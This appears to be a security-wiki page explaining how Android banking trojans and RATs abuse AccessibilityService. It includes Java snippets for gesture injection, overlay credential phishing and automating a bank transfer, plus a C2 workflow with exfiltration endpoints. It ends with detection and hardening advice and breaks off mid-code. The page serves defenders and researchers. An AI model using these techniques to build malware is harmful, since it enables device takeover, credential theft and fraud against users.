# Android Accessibility Service Abuse {{#include ../../banners/hacktricks-training.md}} ## Overview `AccessibilityService` was created to help users with disabilities interact with Android devices. Unfortunately, the same **powerful automation APIs** (global navigation, text input, gesture dispatch, overlay windows…) can be weaponised by malware to gain **complete remote control** of the handset _without root privileges_. Modern Android banking Trojans and Remote-Access-Trojans (RATs) such as **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** and many others follow the same recipe: 1. Social-engineer the victim into enabling a rogue accessibility service (the *BIND_ACCESSIBILITY_SERVICE* permission is considered "high-risk" and requires an explicit user action). 2. Leverage the service to * capture every UI event & text that appears on screen, * inject synthetic gestures (`dispatchGesture`) and global actions (`performGlobalAction`) to automate any task the operator desires, * draw full-screen overlays on top of legitimate apps using the **TYPE_ACCESSIBILITY_OVERLAY** window type (no `SYSTEM_ALERT_WINDOW` prompt!), * silently grant additional runtime permissions by clicking on the system dialogs on the victim’s behalf. 3. Exfiltrate data or perform **On-Device-Fraud (ODF)** in real-time while the user is looking at a perfectly normal screen. --- ## Requesting the permission ```xml ``` The companion XML defines how the fake dialog will look like: ```xml ``` --- ## Remote UI automation primitives ```java public class EvilService extends AccessibilityService { @Override public void onAccessibilityEvent(AccessibilityEvent event) { // harvest text or detect foreground app change } // Simulate HOME / BACK / RECENTS … private void navHome() { performGlobalAction(GLOBAL_ACTION_HOME); } private void navBack() { performGlobalAction(GLOBAL_ACTION_BACK); } private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); } // Generic tap / swipe public void tap(float x, float y) { Path p = new Path(); p.moveTo(x, y); GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50); dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null); } } ``` With only these two APIs an attacker can: * Unlock the screen, open the banking app, navigate its UI tree and submit a transfer form. * Accept every permission dialog that pops up. * Install/update extra APKs via the Play Store intent. --- ## Abuse patterns ### 1. Overlay Phishing (Credential Harvesting) A transparent or opaque `WebView` is added to the window manager: ```java WindowManager.LayoutParams lp = new WindowManager.LayoutParams( MATCH_PARENT, MATCH_PARENT, TYPE_ACCESSIBILITY_OVERLAY, // ⬅ bypasses SYSTEM_ALERT_WINDOW FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real app PixelFormat.TRANSLUCENT); wm.addView(phishingView, lp); ``` The victim types credentials into the fake form while the background app receives the same gestures – no suspicious "draw over other apps" prompt is ever shown. > Detailed example: the *Accessibility Overlay Phishing* section inside the Tapjacking page. ### 2. On-Device Fraud automation Malware families such as **PlayPraetor** maintain a persistent WebSocket channel where the operator can issue high-level commands (`init`, `update`, `alert_arr`, `report_list`, …). The service translates those commands into the low-level gestures above, achieving real-time unauthorized transactions that easily bypass multi-factor-authentication tied to that very device. ### 3. Screen streaming & monitoring By combining the **MediaProjection API** with an RTMP client library, the RAT can broadcast the live framebuffer to `rtmp://:1935/live/`, giving the adversary perfect situational awareness while the Accessibility engine drives the UI. --- ## PlayPraetor – command & control workflow 1. **HTTP(S) heartbeat** – iterate over a hard-coded list until one domain answers `POST /app/searchPackageName` with the active C2. 2. **WebSocket (port 8282)** – bidirectional JSON commands: * `update` – push new conf/APKs * `alert_arr` – configure overlay templates * `report_list` – send list of targeted package names * `heartbeat_web` – keep-alive 3. **RTMP (port 1935)** – live screen/video streaming. 4. **REST exfiltration** – * `/app/saveDevice` (fingerprint) * `/app/saveContacts` | `/app/saveSms` | `/app/uploadImageBase64` * `/app/saveCardPwd` (bank creds) The **AccessibilityService** is the local engine that turns those cloud commands into physical interactions. --- ## Detecting malicious accessibility services * `adb shell settings get secure enabled_accessibility_services` * Settings → Accessibility → *Downloaded services* – look for apps that are **not** from Google Play. * MDM / EMM solutions can enforce `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) to block sideloaded services. * Analyse running services: ```bash adb shell dumpsys accessibility | grep "Accessibility Service" ``` --- ## Hardening recommendations for app developers * Mark sensitive views with `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+). * Combine `setFilterTouchesWhenObscured(true)` with `FLAG_SECURE` to prevent tap/overlay hijacking. * Detect overlays by polling `WindowManager.getDefaultDisplay().getFlags()` or the `ViewRootImpl` API. * Refuse to operate when `Settings.canDrawOverlays()` **or** a non-trusted Accessibility service is active. --- ## ATS automation cheat-sheet (Accessibility-driven) Malware can fully automate a bank app with only Accessibility APIs. Generic primitives: ```java // Helpers inside your AccessibilityService private List byText(String t){ AccessibilityNodeInfo r = getRootInActiveWindow(); return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t); } private boolean clickText(String t){ for (AccessibilityNodeInfo n: byText(t)){ if (n.isClickable()) return n.performAction(ACTION_CLICK); AccessibilityNodeInfo p = n.getParent(); if (p != null) return p.performAction(ACTION_CLICK); } return false; } private void inputText(AccessibilityNodeInfo field, String text){ Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text); field.performAction(ACTION_SET_TEXT, b); } private void tap(float x, float y){ Path p = new Path(); p.moveTo(x,y); dispatchGesture(new GestureDescription.Builder() .addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null); } ``` Example flow (Czech → English labels): - "Nová platba" (New payment) → click - "Zadat platbu" (Enter payment) → click - "Nový příjemce" (New recipient) → click - "Domácí číslo účtu" (Domestic account number) → focus and `ACTION_SET_TEXT` - "Další" (Next) → click → … "Zaplatit" (Pay) → click → enter PIN Fallback: hard-coded coordinates with `dispatchGesture` when text lookup fails due to custom widgets. Also seen: pre-steps to `check_limit` and `limit` by navigating to limits UI and increasing daily limits before transfer. ## Text-based pseudo-screen streaming For low-latency remote control, instead of full video streaming, dump a textual representation of the current UI tree and send it to C2 repeatedly. ```java private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){ if (n==null) return; Rect b = new Rect(); n.getBoundsInScreen(b); CharSequence txt = n.getText(); CharSequence cls = n.getClassName(); sb.append(indent).append("[").append(cls).append("] ") .append(txt==null?"":txt).append(" ") .append(b.toShortString()).append("\n"); for (int i=0;i